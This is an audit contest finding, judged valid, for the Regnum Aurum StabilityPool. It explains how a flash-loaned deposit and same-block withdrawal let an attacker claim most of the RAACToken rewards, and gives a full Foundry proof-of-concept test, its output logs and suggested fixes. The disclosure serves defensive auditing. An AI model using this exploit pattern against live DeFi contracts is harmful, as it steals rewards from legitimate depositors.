Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

StabilityPool RAACToken reward can be attacked by flashloan attack to steal most of the reward

Summary

user can deposit their asset token in lendingPool in exchange of rToken, where this rToken can be deposited into stabilityPool to get DEToken, and the deposit would accruing RAACToken as the reward. The reward is proportional to the amount of user deposit and the total supply of DEToken.

The problem is because the reward calculation is from the proportional amount of DEToken user currently have, this can be attacked by using flashloan where the attacker deposit asset token into lending pool -> get rToken -> deposit rToken into stability pool -> get DEToken -> withdraw all. This would result the current RAACToken reward goes into attacker address when the withdraw happen, effectively steal the reward without really contributing into the protocol system overall.

Vulnerability Details

the issue are caused by the function calculateRaacRewardsthat invoked when user call StabilityPool::withdraw

StabilityPool.sol#L251-L259

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

notice that it use userDepositsand the total supply of DEToken to calculate the reward an user has. but the userDeposits value are easily manipulated by the flashloan attack because to increase this amount the attacker only needs to have huge amount of rToken to be deposited here and became DEToken. so the flashloan would be needed to loaning asset token first that would deposited into lending pool to mint rToken, and then deposited into stability pool to get DETokenthen withdrawing instantly after depositing, claiming most RAACToken rewards accrued.

attacker then can payback the flashloan by withdrawing all rToken into asset token & paying flashloan fee by dumping RAACToken into asset token.

to run PoC provided, use the detailed step below:

  1. Run npm i --save-dev @nomicfoundation/hardhat-foundry in the terminal to install the hardhat-foundry plugin.

  2. Add require("@nomicfoundation/hardhat-foundry"); to the top of the hardhat.config.cjs file.

  3. Run npx hardhat init-foundry in the terminal.

  4. rename ReserveLibraryMock.solto ReserveLibraryMock.sol.bakinside test/unit/librariesfolder so it does not throw error.

  5. Create a file “Test.t.sol” in the “test/” directory and paste the provided PoC.

note: the amount of reward are inaccurate because of other issue in the RAACMinter contract where it calculate reward, the amount logged then would not accurate. but this test still explain how this attack carried.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DEToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/mocks/core/tokens/ERC20Mock.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
contract StabilityPoolTest is Test {
RToken public rToken;
DEToken public deToken;
RAACMinter public raacMinter;
RAACToken public raacToken;
DebtToken public debtToken;
ERC20Mock public assetToken;
StabilityPool public stabilityPool;
LendingPool public lendingPool;
RAACNFT public raacNFT;
RAACHousePrices public raacHousePrices;
address owner = makeAddr("owner");
address victim = makeAddr("victim");
address victim2 = makeAddr("victim2");
address attacker = makeAddr("attacker");
address oracle = makeAddr("oracle");
address borrower = makeAddr("borrower");
uint256 swapTaxRate = 100;
uint256 burnTaxRate = 50;
uint256 startTime = 10 days;
function setUp() public {
vm.startPrank(owner);
vm.warp(startTime);
assetToken = new ERC20Mock("Asset Token", "ATKN");
rToken = new RToken("RToken", "RTKN", owner, address(assetToken));
deToken = new DEToken("DEToken", "DTKN", owner, address(assetToken));
debtToken = new DebtToken("DebtToken", "DTKN", owner);
raacToken = new RAACToken(owner, swapTaxRate, burnTaxRate);
// lendingPool = new MockLendingPool(address(debtToken), address(rToken));
raacHousePrices = new RAACHousePrices(owner);
raacNFT = new RAACNFT(address(assetToken), address(raacHousePrices), owner);
raacHousePrices.setOracle(oracle);
lendingPool = new LendingPool(address(assetToken), address(rToken), address(debtToken), address(raacNFT), address(raacHousePrices), 0.1e27);
// we use dummy address for stabilityPool first
address dummyPool = makeAddr("dummyPool");
raacMinter = new RAACMinter(address(raacToken), address(dummyPool), address(lendingPool), owner);
StabilityPool impl = new StabilityPool(owner);
TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
address(impl),
address(owner),
abi.encodeWithSignature("initialize(address,address,address,address,address,address)", address(rToken), address(deToken), address(raacToken), address(raacMinter), address(assetToken), address(lendingPool))
);
stabilityPool = StabilityPool(address(proxy));
// set stability pool address in raacMinter and DEtoken
raacMinter.setStabilityPool(address(stabilityPool));
deToken.setStabilityPool(address(stabilityPool));
// set lending pool in rToken and debtToken
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
// set minter address in raacToken
raacToken.setMinter(address(raacMinter));
// whitelist stability pool for sending raacToken
raacToken.manageWhitelist(address(stabilityPool), true);
vm.stopPrank();
// oracle set house price of tokenId 0
vm.prank(oracle);
raacHousePrices.setHousePrice(0, 1000 ether);
}
function test_flashloanAttackToTakeRaacReward() public {
vm.warp(startTime + 10 days);
vm.roll(50);
// simulate victims deposit 900 asset token to get rToken
uint256 depositAmount = 900 ether;
vm.startPrank(victim);
assetToken.mint(victim, depositAmount);
assetToken.approve(address(lendingPool), depositAmount);
lendingPool.deposit(depositAmount);
vm.stopPrank();
vm.startPrank(victim2);
assetToken.mint(victim2, depositAmount);
assetToken.approve(address(lendingPool), depositAmount);
lendingPool.deposit(depositAmount);
vm.stopPrank();
// borrower mint NFT then make borrowing
vm.startPrank(borrower);
assetToken.mint(borrower, 1000 ether);
assetToken.approve(address(raacNFT), 1000 ether);
// mint NFT
raacNFT.mint(0, 1000 ether);
raacNFT.approve(address(lendingPool), 0);
lendingPool.depositNFT(0);
// borrow
lendingPool.borrow(500 ether);
vm.stopPrank();
// victims deposit rToken to stability pool
vm.startPrank(victim);
rToken.approve(address(stabilityPool), depositAmount);
stabilityPool.deposit(depositAmount);
vm.stopPrank();
vm.startPrank(victim2);
rToken.approve(address(stabilityPool), depositAmount);
stabilityPool.deposit(depositAmount);
vm.stopPrank();
assertEq(rToken.balanceOf(address(stabilityPool)), stabilityPool.getTotalDeposits());
// contract only implement 1:1 rate for rToken and deToken
assertEq(deToken.balanceOf(victim), depositAmount);
assertEq(deToken.balanceOf(victim2), depositAmount);
// warp 1 month and increase block number to accumulate raac reward
vm.warp(startTime + 30 days);
vm.roll(100);
raacMinter.updateEmissionRate();
// check raac reward
uint256 stabilityPoolBalanceRaac = raacToken.balanceOf(address(stabilityPool));
console.log("stabilityPoolBalanceRaac: ", stabilityPoolBalanceRaac);
uint256 raacRewardVictim = stabilityPool.calculateRaacRewards(victim);
uint256 raacRewardVictim2 = stabilityPool.calculateRaacRewards(victim2);
console.log("raacRewardVictim: ", raacRewardVictim);
console.log("raacRewardVictim2: ", raacRewardVictim2);
// simulate attacker flashloan attack: depositing 100000 ether asset token and get r Token
uint256 flashloanAmount = 100000 ether;
vm.startPrank(attacker);
assetToken.mint(attacker, flashloanAmount);
assetToken.approve(address(lendingPool), flashloanAmount);
lendingPool.deposit(flashloanAmount);
// simulate attacker depositing rToken to stability pool and get DEtoken
rToken.approve(address(stabilityPool), flashloanAmount);
stabilityPool.deposit(flashloanAmount);
uint256 raacRewardAttacker = stabilityPool.calculateRaacRewards(attacker);
console.log("soon to be raacRewardAttacker: ", raacRewardAttacker);
// check raac reward before attack
stabilityPoolBalanceRaac = raacToken.balanceOf(address(stabilityPool));
console.log("[*] reward just before attack:");
console.log("[*] stabilityPoolBalanceRaac: ", stabilityPoolBalanceRaac);
raacRewardVictim = stabilityPool.calculateRaacRewards(victim);
raacRewardVictim2 = stabilityPool.calculateRaacRewards(victim2);
console.log("[*] raacRewardVictim: ", raacRewardVictim);
console.log("[*] raacRewardVictim2: ", raacRewardVictim2);
// and then withdraw all DEtoken to get raac reward
stabilityPool.withdraw(flashloanAmount);
uint256 attackerRaacBalance = raacToken.balanceOf(attacker);
console.log("[**] actual attackerRaacReward after flashloan: ", attackerRaacBalance);
assertEq(attackerRaacBalance, raacRewardAttacker);
stabilityPoolBalanceRaac = raacToken.balanceOf(address(stabilityPool));
console.log("[**] reward after attack:");
console.log("[**] stabilityPoolBalanceRaac: ", stabilityPoolBalanceRaac);
// the withdrawed amount of rToken then can get withdrawed into asset token in lending pool and get paid back to flashloan contract
// withdraw all into asset tokens
lendingPool.withdraw(flashloanAmount);
vm.stopPrank();
// check if attacker get the flashloan amount of asset token back (approx ~0.1% difference)
assertApproxEqRel(assetToken.balanceOf(attacker), flashloanAmount, 1e15);
}
}

run the following command `forge t --mt test_flash -vv` and the result would pass, meaning the attacker successfully claim the reward using flashloan attack:

Ran 1 test for test/StabilityPool.t.sol:StabilityPoolTest
[PASS] test_flashloanAttackToTakeRaacReward() (gas: 1398061)
Logs:
stabilityPoolBalanceRaac: 6465277777777777756
raacRewardVictim: 3232638888888888878
raacRewardVictim2: 3232638888888888878
soon to be raacRewardAttacker: 13172615149530670094
[*] reward just before attack:
[*] stabilityPoolBalanceRaac: 13409722222222222156
[*] raacRewardVictim: 118553536345776030
[*] raacRewardVictim2: 118553536345776030
[**] actual attackerRaacReward after flashloan: 13172615149530670094
[**] reward after attack:
[**] stabilityPoolBalanceRaac: 237107072691552062
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.30ms (1.72ms CPU time)
Ran 1 test suite in 8.70ms (4.30ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

attacker can steal RAACToken reward accrued inside the stability pool, victim would lose potential rewards, and protocol gain nothing because this attack does not contribute into lending liquidity because all deposit and withdrawal is done in one block

Tools Used

manual review

Recommendations

when calculating the reward for user, consider to calculate when the deposit and the withdrawal happen and then divide it proportionally, so the long term depositor can gain benefit vs the short term depositor.

also add check if in the current block there are already deposit happen, and disable withdrawal on the current block.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.